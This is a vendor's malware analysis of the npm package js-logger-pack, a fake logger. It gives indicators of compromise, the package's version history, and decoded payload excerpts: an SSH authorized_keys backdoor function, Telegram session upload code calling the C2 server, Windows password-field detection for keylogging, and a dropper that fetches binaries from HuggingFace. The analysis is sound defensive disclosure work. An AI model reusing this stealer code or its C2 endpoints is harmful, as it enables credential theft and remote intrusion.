Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer

SafeDep Team
19 min read

Table of Contents

TL;DR

js-logger-pack is a fake npm logger that the attacker has developed openly on the registry across 29 versions over three weeks (2026-04-01 to 2026-04-20, still active). Version 1.1.20, published hours after initial detection, is a re-obfuscation of the same payload: new hash, same C2, same capabilities. Early versions were harmless probes; version 1.1.5 introduced the first weaponized payload with unobfuscated TypeScript source that accidentally leaked the attacker’s SSH RSA public key (bink@DESKTOP-N8JGD6T) and their original C2 domain (api-sub.jrodacooker[.]dev). Subsequent versions replaced the readable source with a 885 KB custom base64 bytecode VM and swapped the domain for a raw Hetzner IP. The payload is a long-running WebSocket agent that: installs the attacker’s RSA key into ~/.ssh/authorized_keys on Linux; exfiltrates Telegram Desktop tdata sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals .npmrc, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three.

Impact:

  • SSH backdoor on Linux: attacker’s RSA public key written to ~/.ssh/authorized_keys, granting permanent shell access.
  • Full Telegram Desktop account takeover via tdata folder exfiltration compressed and uploaded to attacker-controlled Cloudflare R2 storage.
  • Crypto wallet drain: 27 wallet apps and browser extensions enumerated by name (phantom, metamask, rabby, keplr, solflare, backpack, coinbase, trust, exodus, tronlink, okx, zerion, rainbow, unisat, petra, ronin, nami, ledger, trezor, electrum, atomic, braavos, argent, leap, hashpack, sui, xdefi).
  • Developer credential theft: .npmrc _authToken, github_token, npm_token, AWS sigv4 keys, plus OPENAI, ANTHROPIC, and other env-var tokens exfiltrated from the project’s .env file at install time.
  • Filesystem scan for wallet-named JSON files, .env files, and keyword-matched Office documents sent to C2.
  • Live keylogger on all three OSes streamed via WebSocket.
  • Persistence across reboots: Windows Scheduled Tasks, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart.

Indicators of Compromise (IoC):

IndicatorValue
Packagejs-logger-pack (npm)
Malicious versions0.0.1 through 1.1.26 (29 releases, 2026-04-01 to 2026-04-20, still active); v1.1.22+ pivot to HuggingFace binary dropper
Total downloads3,726 (April 1-13, 2026; zero prior to campaign)
Maintainerjpeek868 <jpeek868@gmail.com> (single package on account)
Declared authortoskypi (mismatches publishing account)
C2 domain (v1.1.5-1.1.6)hxxps://api-sub.jrodacooker[.]dev
C2 IP (v1.1.7+)195[.]201[.]194[.]107:8010 (ws:// and http://), Hetzner Online GmbH, DE, AS24940
C2 status (2026-04-15)LIVE: /health responds {"ok":true}, panel accepting connections
Secondary hostname on C2 IPcopilot-ai.whisdev[.]org (Shodan, DNS now NXDOMAIN; suggests additional operations)
C2 backendExpress.js (X-Powered-By: Express); victim data keyed as user_{username}_{operatingSystem} (leaked in /api/validate/system-info response body)
DNS resolutionapi-sub.jrodacooker[.]dev195[.]201[.]194[.]107 (subdomain DNS since removed)
Attacker SSH public keyssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... bink@DESKTOP-N8JGD6T (full key in v1.1.5 logger.ts)
Attacker hostnamebink@DESKTOP-N8JGD6T (Windows hostname embedded in SSH key comment)
Exfil paths/api/validate/files, /api/validate/project-env, /api/validate/env-vars, /api/validate/ps-history, /api/validate/wallets, /api/validate/system-info, /api/validate/tdata/upload, /api/validate/r2-upload-complete, /api/validate/keyboard-events
SSH authorized_keys target~/.ssh/authorized_keys (Linux, created with mode 0600 if missing)
SHA-256 (js-logger-pack-1.1.18.tgz)a49eee6b6db9da14db46587b68bf1d8a80976812f629bf3e100ac6ba83cf8490
SHA-256 (print.js v1.1.18)6ce3b22b07fd5aef1dd77237334d80718601e4e02a706485572d3dda8993a4e3
SHA-256 (js-logger-pack-1.1.19.tgz)571533a643e67c38087f4da8cce0d3dc14670a52403717e4943433d392860a7f
SHA-256 (print.js v1.1.19)585c5ab1fea06bed4956e34ffd6d6b576122addd34d252b163ae0801098e9eaf
SHA-256 (js-logger-pack-1.1.20.tgz)9f0a7174f9537bdbf63fe2329cea9a14198076180390af9f43a0e5b5c7c46912
SHA-256 (print.js v1.1.20)e35801137cd09fa02aa996145d18ec68d67d71db9810f2608a6285ee1c08b054
SHA-256 (js-logger-pack-1.1.22.tgz)df45bbac7695f0edad3edde36904f2722f2af761887744a2f1d65df705d28dc6 (first HuggingFace dropper version)
SHA-256 (js-logger-pack-1.1.25.tgz)43c93c609d48b6cb4f1275c285b5e6960ef74e7f5811b442e3c1038d49128d73
SHA-256 (js-logger-pack-1.1.26.tgz)dbbc31c641c2f1b9a867e745c30dda27dff2db7d91f9faddcf08a504ca2a9d11 (latest as of 2026-04-20)
HuggingFace binary host (v1.1.22+)hxxps://huggingface[.]co/Lordplay/system-releases/resolve/main (attacker-controlled model repo serving MicrosoftSystem64 executables)
Dropped binary nameMicrosoftSystem64 (-win.exe, -linux, -darwin-x64, -darwin-arm64)

Analysis

Package Overview and Origin

js-logger-pack presents a convincing cover. The README describes a zero-dependency console logger with ISO timestamps and emoji level icons. The published index.ts is a real, working Logger class and dist/index.js is its transpiled output. Nothing in the TypeScript source touches the network or the filesystem: the logger exists as bait for reviewers and automated scanners.

One detail dates the operation: the 0.0.1 README references import { logger } from 'pretty-changelog-logger', the original name the author had for this utility before registering the js-logger-pack slug. That copy-paste residue is the only link to what the package was before the attacker weaponized it.

The repository and homepage fields in package.json are both null. The declared author field reads toskypi, but the npm registry lists the publishing maintainer as jpeek868 <jpeek868@gmail.com>. Searching npm for other packages by either name returns nothing; this is a purpose-built throwaway account. All 22 versions share the same gitHead hash (b0a0c8779961bcce1851d35125a7b48fc6ec7d5c); every publish came from the same local git clone. No GitHub account exists for jpeek868 or toskypi. The package accumulated 3,726 downloads between April 1 and 13, with spikes on each day a new malicious version was released.

Version Evolution: From Probe to Weapon

The registry timestamps show iterative development conducted live on npm:

VersionDate (UTC)SizepostinstallNotable change
0.0.12026-04-01 06:171.6 KBts-node index.js (errors harmlessly)Initial probe; README references old package name
1.0.02026-04-01 06:291.6 KBts-node index.jsNo change
1.1.02026-04-01 07:0129 KBts-node index.tsCompiled dist/index.js added
1.1.22026-04-01 07:0529 KBts-node dist/index.jspostinstall target adjusted
1.1.42026-04-02 11:3229 KBts-node dist/index.jsC2 deps added: ws, zod, pino, esbuild; postinstall still harmless
1.1.52026-04-02 15:53601 KBnode print.jsFirst weaponized build. print.js (601 KB) and unobfuscated logger.ts (19 KB, full source) appear
1.1.62026-04-02 17:51730 KBnode print.jsprint.js grows 21%; logger.ts still included (source still leaked)
1.1.72026-04-02 17:59756 KBnode print.jslogger.ts removed; full obfuscation in print.js
1.1.82026-04-07 00:06742 KBnode print.jsMinor size change
1.1.92026-04-07 07:22769 KBnode print.jslogger.ts reappears (identical 19 KB file); build pipeline inconsistency
1.1.102026-04-07 09:04808 KBnode print.jslogger.ts permanently removed; payload growing
1.1.142026-04-08 06:59786 KBnode print.jsC2 domain replaced with raw IP in VM
1.1.172026-04-13 20:44831 KBnode print.jsFinal feature additions
1.1.182026-04-14 07:42848 KBnode print.jsUIAutomation password detection: adds System.Reflection.Assembly.Load("UIAutomationClient") fallback in PwdChk to detect password fields in Electron-based wallet apps
1.1.192026-04-14 19:27893 KBnode print.jsLast feature version before initial disclosure
1.1.202026-04-15 03:09865 KBnode print.jsRe-obfuscation only: identical C2, endpoints, and capabilities; new hash only
1.1.212026-04-15 16:01887 KBnode print.jsSame WebSocket stealer payload; published hours after disclosure
1.1.222026-04-15 20:11950 KBnode print.jsMajor pivot: WebSocket stealer replaced by HuggingFace binary dropper; bundles @huggingface/hub to download MicrosoftSystem64 executables
1.1.232026-04-15 20:13950 KBnode print.jsMinor change to 1.1.22 dropper
1.1.242026-04-17 18:36~1 MBnode print.jsLarger dropper variant; same HuggingFace host
1.1.252026-04-20 03:36104 KBnode print.jsStripped dropper; same HuggingFace host; 'use strict' CJS module
1.1.262026-04-20 04:01128 KBnode print.cjsObfuscator change: switches from bytecode VM to _0x-style hex variable obfuscator; postinstall renamed to print.cjs

The print.js payload grew from 601 KB to 893 KB over 12 days of active feature development before initial disclosure on April 15. The attacker continued publishing after detection, releasing six additional versions (v1.1.21 through v1.1.26) through April 20. Version 1.1.20, published hours after this package was first flagged, is a re-obfuscation of v1.1.19: every URL, API path, wallet name, and OS-native code string is identical; only the internal random identifiers (variable names generated by the obfuscator) differ. The resulting file has a different SHA-256 but is the same payload. This is a signature-evasion pattern: re-run the bundler with a new random seed to defeat hash-based detections without changing any functionality.

Version 1.1.22, published the same day as disclosure, replaced the 885 KB self-contained WebSocket stealer with a binary dropper that fetches MicrosoftSystem64 executables from a HuggingFace model repository. The logger.ts source file flickered in and out of the package across three early versions; the author kept forgetting to exclude it from the build manifest.

Execution Triggers

In later versions (v1.1.7+), the only trigger is the postinstall hook:

// package/package.json (v1.1.19)
"scripts": {
"build": "tsc",
"prepublishOnly": "npm run build",
"start": "ts-node index.ts",
"postinstall": "node print.js"
}

print.js is a standalone esbuild bundle (the esbuild dep in package.json confirms this): it packages the malicious source together with its C2 dependencies (ws, zod, etc.) into a single 885 KB self-contained file that node can run without any additional installs. The bundle fires once at install time.

In v1.1.5 and v1.1.6, however, the package carried a second, independent trigger. dist/index.js (the file users require()) begins with:

// package/dist/index.js (v1.1.5)
require('./logger');

And index.ts mirrors this:

// package/index.ts (v1.1.5)
import './logger';

logger.ts runs its malicious code as module-level side effects (the _ssi, _spe, and _sejf calls at the bottom of the file execute immediately when the module is loaded). This means that in v1.1.5 and v1.1.6 any application that did require('js-logger-pack') or import 'js-logger-pack' triggered the stealer at runtime, not only at install time. The attacker removed logger.ts and this second vector from v1.1.7 onward, consolidating on the postinstall hook.

The Unobfuscated Source Leak (v1.1.5 and v1.1.6)

Versions 1.1.5 and v1.1.6 shipped logger.ts alongside print.js. The two files implement the same malicious capabilities: logger.ts is the readable TypeScript source; print.js is the esbuild-bundled, obfuscated standalone executable built from the same (or very similar) source project and its dependencies. The 534-line logger.ts gives a complete, readable description of every capability the larger print.js bundle conceals.

Two constants at the top of the file are the key attribution artifacts:

// package/logger.ts (v1.1.5)
const _pk = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fK
LTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf794ap
EkDFpyzYpqrPmHBFhLdBtbXMx3bNfexKR8wnJAYTe5of+TvZ97h9QY8d9zHP31KddDnw3MaXYV
Ziwr0xBsUEk2jti5C4MsN/uUtUxrmcO5jfoThj/GLDOppQg7IK5QiHvOr89nTO9tFqADLT7gAn
... bink@DESKTOP-N8JGD6T
`;
const _srv = 'https://api-sub.jrodacooker.dev';
const _tmax = 500 * 1024 * 1024;

_pk is the attacker’s RSA public key. The comment field bink@DESKTOP-N8JGD6T is the username and hostname of the machine the attacker used to generate the key. _srv is the C2 server at the time of first deployment. A DNS lookup today confirms that api-sub.jrodacooker[.]dev resolves to 195.201.194.107, the same Hetzner IP embedded in the later obfuscated versions. The attacker switched from domain to raw IP somewhere around v1.1.7, likely after the domain was flagged or to reduce external DNS dependencies.

SSH Backdoor (Linux)

The first capability that executes on Linux machines is an SSH backdoor, called before any file scanning or credential exfil:

// package/logger.ts (v1.1.5)
export const _ark = async (_key: string): Promise<boolean> => {
try {
const _hd = os.homedir();
const _sd = path.join(_hd, '.ssh');
const _akp = path.join(_sd, 'authorized_keys');
if (!fs.existsSync(_sd)) {
fs.mkdirSync(_sd, { recursive: true });
}
fs.chmodSync(_sd, 0o700);
let _ek = '';
if (fs.existsSync(_akp)) {
_ek = fs.readFileSync(_akp, 'utf8');
}
const _kp = _key.trim().split(' ');
const _kd = _kp.length >= 2 ? _kp[0] + ' ' + _kp[1] : _key.trim();
if (_ek.includes(_kd)) {
return false; // already installed
}
const _nc = _ek ? (_ek.endsWith('\n') ? _ek : _ek + '\n') + _key.trim() + '\n' : _key.trim() + '\n';
fs.writeFileSync(_akp, _nc, 'utf8');
fs.chmodSync(_akp, 0o600);
return true;
} catch (_) {
return false;
}
};

The function is called as _ark(_pk) from the Linux branch of the main file-scanning entry point (_sejf), before the network exfil begins. It creates ~/.ssh/ with mode 0700 if it does not exist, checks whether the key is already present, and appends it with the correct 0600 permissions. The attacker can then SSH into any Linux machine that installed any version of this package, as long as the SSH daemon is running and ~/.ssh/authorized_keys is the configured auth method.

This capability was present from the first weaponized build (v1.1.5) and persists in the obfuscated payload, confirmed by registerLinuxSystemd and persistence strings in later versions.

File System Scanner

The plaintext source exposes a filesystem scanner (_sfr) that walks the home directory (Linux), C:\ through J:\ (Windows), or /Users/ (macOS) up to 10 levels deep, collecting three types of files:

// package/logger.ts (v1.1.5) — target classification
if (_fn === '.env' || _fn.endsWith('.env')) {
_res.push({ path: _fp, type: 'env' });
} else if (_fn.endsWith('.json') && _iwkj(_fn)) {
_res.push({ path: _fp, type: 'json' });
} else if (_iwrd(_fn)) {
_res.push({ path: _fp, type: 'doc' });
}

The JSON filter (_iwkj) has an allow-list of 40+ common config filenames (package.json, tsconfig.json, vercel.json, etc.) that are excluded, and a keyword list that includes any JSON whose filename contains: key, wallet, password, credential, sol, eth, tron, bitcoin, btc, metamask, phantom, keystore, privatekey, mnemonic, seed, trezor, ledger, token, recovery, and others. JSON files with more than 100 lines are skipped entirely; qualifying files are read in full and sent to /api/validate/files. Office documents (.doc, .docx, .xls, .xlsx, .txt) are included if their filename matches the same keyword list, sent as base64.

Excluded directories include node_modules, build, dist, coverage, and several others, limiting the scan to source trees and user directories. The scanner skips symlinks.

The Bytecode VM (v1.1.7+)

From v1.1.7 onward, the entire payload moved into print.js, a custom base64 bytecode VM. The file opens with 28 repeated node:* imports aliased to random vm* identifiers, followed by thousands of base64-encoded instruction blobs:

// package/print.js (header, v1.1.19)
import{createRequire as vmB}from'module'
import vmD from'node:os'
import{spawn}from'child_process'
import{execFileSync}from'node:child_process'
import{spawn as vmq,spawnSync}from'node:child_process'
// ...
const vmE_603276=(function(){let m=[
'AQEIAQAEAAQIDnJlcXVpcmUIEnVuZGVmaW5lZBYEAAAEAQAABAAABAAEAQAApgPcAQBWaKYDZBAQ...',
'AQAIAQACAAwIDnJlcXVpcmUIEnVuZGVmaW5lZAgKUHJveHkEAAgGZ2V0BAIupgPcAQBWaKYDZOAB...',
// thousands more blobs

Each blob is a base64-encoded instruction stream for a hand-rolled stack machine defined below the constant array. The opcodes embed string literals (property names, identifiers, API paths) that are invisible to a plain grep of the source. Decoding the constant pool statically, without executing the file, recovers all the semantic strings used in the analysis below.

C2 Protocol

The agent is a persistent WebSocket client. Decoded strings show the full protocol:

ws://195.201.194.107:8010 (primary)
http://195.201.194.107:8010 (bulk exfil fallback)
AgentHelloSchema / AgentHeartbeatSchema
Controller acknowledged hello / hello_ack
HEARTBEAT_MS / heartbeatTimer / scheduleReconnect

The implant connects to 195[.]201[.]194[.]107:8010, sends a Zod-validated AgentHello, waits for hello_ack, then maintains a heartbeat. The controller dispatches tasks (keylogging, wallet scan, tdata upload, file scan) over the WebSocket channel. Bulk data goes over HTTP on the same host via the /api/validate/* endpoints rather than the WebSocket frame size limit.

Telegram Session Hijacking

The _stia / sendTdataIfAvailable function chain runs on macOS and Windows only (the function returns immediately on Linux). It locates the Telegram Desktop tdata folder, archives it into a gzip stream with a custom header format (4-byte path length, path bytes, 4-byte content length, content bytes), and uploads it:

// package/logger.ts (v1.1.5)
export const _stp = async (_gz: string, _os: string, _ip: string, _un: string): Promise<void> => {
const _b = await fs.promises.readFile(_gz);
const _r = await fetch(`${_srv}/api/validate/tdata/upload`, {
method: 'POST',
headers: {
'Content-Type': 'application/gzip',
'X-Client-OS': _os,
'X-Client-IP': _ip,
'X-Client-User': _un,
},
body: _b,
});
if (!_r.ok) throw new Error(`tdata upload failed: ${_r.status}`);
};

A pre-check (/api/validate/tdata/check) prevents re-upload if the server already has a session for this IP+username pair. The 500 MB cap (_tmax) prevents stalling on very large Telegram caches. Later obfuscated versions add an S3-compatible multipart path (/api/validate/r2-upload-complete) referencing Cloudflare R2, routing bulk loot outside the WebSocket channel.

Wallet and Browser Credential Theft

The implant carries an explicit wallet target list embedded in both the Windows and macOS native keylogger components. On Windows it appears as a C# static array inside a PowerShell Add-Type block (class KP); on macOS it appears as a Swift let constant:

// Decoded from print.js bytecode — Windows C# block (PowerShell Add-Type, class KP)
private static readonly string[] _wk = {
"phantom","metamask","rabby","keplr","solflare","backpack",
"coinbase wallet","trust wallet","exodus","tronlink","okx wallet",
"zerion","rainbow","unisat","petra","ronin","nami","ledger","trezor",
"electrum","atomic","braavos","argent","leap wallet","hashpack",
"sui wallet","xdefi"
};
// Decoded from print.js bytecode — macOS Swift block
let walletKeywords = ["phantom","metamask","rabby","keplr","solflare","backpack",
"coinbase wallet","trust wallet","exodus","tronlink","okx wallet","zerion",
"rainbow","unisat","petra","ronin","nami","ledger","trezor","electrum",
"atomic","braavos","argent","leap wallet","hashpack","sui wallet","xdefi"]

On Windows, active-window title inspection uses GetForegroundWindow() + GetWindowText() to match the foreground window title against _wk; GetAsyncKeyState is the polling mechanism for keystroke capture, not the window detection. On macOS the Swift code uses the Accessibility API (kAXTitleAttribute via AXUIElement) to read the active window title and kAXSubroleAttribute to detect AXSecureTextField (password input); CGEventTap captures the keystrokes. When a wallet window or password field is detected on either platform, the implant enables targeted keylogging of password and seed-phrase prompts. Browser credential targets include Chrome, Chromium, Brave, Edge, Opera, and Opera GX (Login Data, Cookies, Local State).

Cross-Platform Keylogger

Keystroke capture uses OS-native APIs on each platform:

Windows: SetWindowsHookEx(13, …) // WH_KEYBOARD_LL low-level hook (class KH)
GetAsyncKeyState(vk) // polling fallback if hook is blocked (class KP)
macOS: CGEventTap (keyDown callback) // Swift, compiled and run via swiftc subprocess
Linux: /dev/input/event* via evdev // direct device read, no X11 dependency

Both Windows variants are PowerShell Add-Type blocks: the Node.js harness writes the C# source string to PowerShell’s stdin, which compiles and executes it in-process using the .NET runtime already present on the machine. This avoids dropping a compiled binary to disk. Events stream to /api/validate/keyboard-events over the WebSocket connection. The Windows polling fallback handles environments where EDR software blocks WH_KEYBOARD_LL. The Linux evdev reader reads raw kernel input events directly from /dev/input/event*, bypassing X11 and Wayland entirely so it captures keystrokes in terminal-only sessions.

Persistence

All three OSes get autostart entries so the agent survives reboots:

Windows: schtasks.exe /Create …
macOS: ~/Library/LaunchAgents/<name>.plist
Linux: ~/.config/systemd/user/<name>.service (Environment=HEARTBEAT_MS=…)
~/.config/autostart/<name>.desktop (X-GNOME-Autostart-enabled=true)

The HEARTBEAT_MS environment variable is baked into the systemd unit, so the re-launched agent picks up the same polling interval as the original postinstall process. The XDG autostart entry covers desktop sessions that do not use systemd user units (e.g., some XFCE and LXDE setups).

v1.1.18: UIAutomation Password Field Detection

Version 1.1.18 (2026-04-14 07:42 UTC), published twelve hours before v1.1.19, adds a third detection path to the Windows password field check. The existing PwdChk method in class KP already used two Win32 mechanisms: sending the EM_GETPASSWORDCHAR message (0x00D2) to the focused window handle, and reading the ES_PASSWORD style flag (0x0020) via GetWindowLong. Neither works reliably against Electron-based desktop apps, which don’t expose classic Win32 edit control style bits to the accessibility layer.

v1.1.18 adds a third fallback using System.Reflection.Assembly.Load to load UIAutomationClient at runtime and query the AutomationElement.FocusedElement.Current.IsPassword property:

// Decoded from print.js bytecode — Windows C# class KP, PwdChk method (v1.1.18)
private static void PwdChk(object s) {
try {
IntPtr fg = GetForegroundWindow();
// ... GUITHREADINFO setup omitted
if (GetGUIThreadInfo(tid, ref gi) && gi.hwndFocus != IntPtr.Zero) {
if (SendMessage(gi.hwndFocus, 0x00D2, IntPtr.Zero, IntPtr.Zero) != IntPtr.Zero) { _isPwd = true; return; }
if ((GetWindowLong(gi.hwndFocus, -16) & 0x0020) != 0) { _isPwd = true; return; }
}
// NEW in v1.1.18: UIAutomation fallback
try {
var asm = System.Reflection.Assembly.Load("UIAutomationClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
if (asm != null) {
var aeType = asm.GetType("System.Windows.Automation.AutomationElement");
var focused = aeType.GetProperty("FocusedElement").GetValue(null);
if (focused != null) {
var current = focused.GetType().GetProperty("Current").GetValue(focused);
if ((bool)current.GetType().GetProperty("IsPassword").GetValue(current)) { _isPwd = true; return; }
try {
string eName = ((string)current.GetType().GetProperty("Name").GetValue(current) ?? "").ToLower();
string eHelp = ((string)current.GetType().GetProperty("HelpText").GetValue(current) ?? "").ToLower();
string combined = eName + " " + eHelp;
foreach (var p in _pk) { if (combined.Contains(p)) { _isPwd = true; return; } }
} catch {}
}
}
} catch {}
// ... title-based wallet keyword check follows
}
}

The three detection paths cover different app frameworks:

  1. SendMessage(EM_GETPASSWORDCHAR) and ES_PASSWORD flag: classic Win32 text controls (most legacy apps)
  2. UIAutomation IsPassword: modern frameworks that implement the UI Automation provider model, including WPF, UWP, and Electron/Chromium via the built-in accessibility provider that Chromium exposes to the OS UIA layer
  3. Keyword matching against _pk (password, seed phrase, mnemonic, private key, etc.) in the element’s Name and HelpText properties: catches password-adjacent fields that are not marked IsPassword but are labelled as such

Loading UIAutomationClient via System.Reflection.Assembly.Load at runtime rather than a static reference keeps the assembly out of the compiled class’s import list, so static analysis tools scanning for UIAutomation won’t find it.

Every crypto wallet in the _wk target list (Phantom, MetaMask, Exodus, etc.) ships as an Electron app or browser extension. On Windows, UIAutomation is the only approach that detects password field focus in those apps reliably.

Post-Publication Pivot: HuggingFace Binary Dropper (v1.1.22+)

On the same day this package was first reported (April 15), the attacker published three versions in under five hours. v1.1.21 reused the WebSocket stealer unchanged. v1.1.22, published four hours later, replaced the self-contained npm payload with a binary dropper: instead of running the WebSocket agent directly, it fetches a standalone MicrosoftSystem64 binary from HuggingFace and launches it. By v1.1.25 the dropper configuration is plaintext in the source:

// package/print.js (v1.1.25, plaintext in source)
var UNIT_STEM = 'MicrosoftSystem64';
var BINARY_BASE_URL = 'https://huggingface.co/Lordplay/system-releases/resolve/main';
var DOWNLOAD_MAP = {
'win32-x64': 'MicrosoftSystem64-win.exe',
'linux-x64': 'MicrosoftSystem64-linux',
'darwin-x64': 'MicrosoftSystem64-darwin-x64',
'darwin-arm64': 'MicrosoftSystem64-darwin-arm64',
};

The attacker named the binary MicrosoftSystem64 to blend with Windows system process names. The dropper stores it under the platform data directory, registers it for autostart using the same persistence mechanisms as the old npm payload (Windows Registry Run key via a VBScript wrapper, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart entry), then spawns it detached. The systemd unit passes Environment=SERVER_URL=<Hetzner C2 address> to the binary, so the same 195[.]201[.]194[.]107:8010 endpoint is still the operative C2, consumed by the dropped binary rather than by the npm package directly.

HuggingFace handles binary delivery (enterprise proxies don’t block it); the Hetzner server handles command and data. The attacker can also push a new binary to Lordplay/system-releases and every installed instance picks it up on the next agent restart, without publishing a new npm version.

We did not analyze the binaries further. Any system that ran v1.1.22 through v1.1.26 should be treated as having executed an unverified binary from an attacker-controlled source.

v1.1.26 (2026-04-20) switched the obfuscator from the custom base64 bytecode VM to a _0x-style hex variable obfuscator (the kind produced by tools like javascript-obfuscator) and renamed the postinstall entry point from print.js to print.cjs. The attacker rebuilt their toolchain after the bytecode VM format was documented in prior analysis.

Attribution

The leaked source, live C2 probe, and infrastructure cross-checks yield the following:

  • Attacker hostname: bink@DESKTOP-N8JGD6T. The DESKTOP-N8JGD6T suffix is the default format Windows assigns to self-built machines. The bink username is the operating handle used on the development machine. No prior threat intelligence ties this hostname to any known actor.
  • C2 domain: api-sub.jrodacooker[.]dev. The parent domain returns NXDOMAIN; the subdomain DNS record has since been removed, but the Hetzner IP (195[.]201[.]194[.]107) remains active. jrodacooker[.]dev appears purpose-registered for this operation with no prior public presence.
  • C2 still live: As of April 15 2026 (this article’s publication date), the panel at 195[.]201[.]194[.]107:8010 is operational. A probe to /api/validate/system-info returned {"success":true,"collection":"user_researcher_linux"}, confirming victim data is keyed as user_{username}_{operatingSystem} and has not been cleaned up. The response header X-Powered-By: Express identifies the backend as Node.js/Express.
  • Secondary hostname: Shodan lists copilot-ai.whisdev[.]org as a hostname on the same IP. The subdomain DNS record is now NXDOMAIN. The server may host additional operations beyond js-logger-pack, but we found no confirmed link to the jpeek868 or bink identity.
  • Infrastructure: Single Hetzner server (Hetzner Online GmbH, DE, AS24940) running a custom WebSocket controller on :8010 and Cloudflare R2 for bulk storage. This is purpose-built tooling for a small-scale individual operator, not shared SaaS C2 infrastructure.
  • Operational security failures: Shipping unobfuscated source in two consecutive public npm releases, reintroducing it in v1.1.9 after removing it in v1.1.7, and hardcoding the development machine’s SSH key into the payload point to a solo operator working fast, not a disciplined team.
  • Payload fingerprint: The multi-language payload (Node.js harness, C# compiled at runtime via PowerShell Add-Type for Windows hooks, Swift source compiled on the fly via swiftc for macOS event taps, Linux evdev via direct /dev/input reads) and the 27-wallet target list match patterns seen in commodity stealer kits. Avoiding pre-compiled binaries in favor of just-in-time compilation reduces disk footprint and evades signature-based AV scanning at install time. Without controlled telemetry, we do not attribute to a named family.

Conclusion

js-logger-pack is a full-featured, multi-platform infostealer, now at v1.1.26 with 29 releases across three weeks and still active as of April 20, 2026. Within hours of initial disclosure on April 15, the attacker published v1.1.22, replacing the self-contained npm-level WebSocket agent with a binary dropper that fetches MicrosoftSystem64 executables from a HuggingFace repository. The Hetzner server at 195[.]201[.]194[.]107:8010 remains the operative C2, now consumed by the dropped binary rather than by the npm package directly.

The version range determines what ran on the machine: v0.0.1 through v1.1.21 carry the WebSocket stealer (Linux SSH backdoor, Telegram tdata exfil, 27-wallet keylogger); v1.1.22 through v1.1.26 drop an unverified binary named MicrosoftSystem64 from the attacker’s HuggingFace repository. Anyone who installed any version should treat the machine as compromised.

  • vet
  • malware
  • npm
  • supply-chain
  • stealer
  • crypto

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Bitwarden CLI Supply Chain Compromise

Bitwarden CLI Supply Chain Compromise

A technical writeup of the malicious `@bitwarden/cli@2026.4.0` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.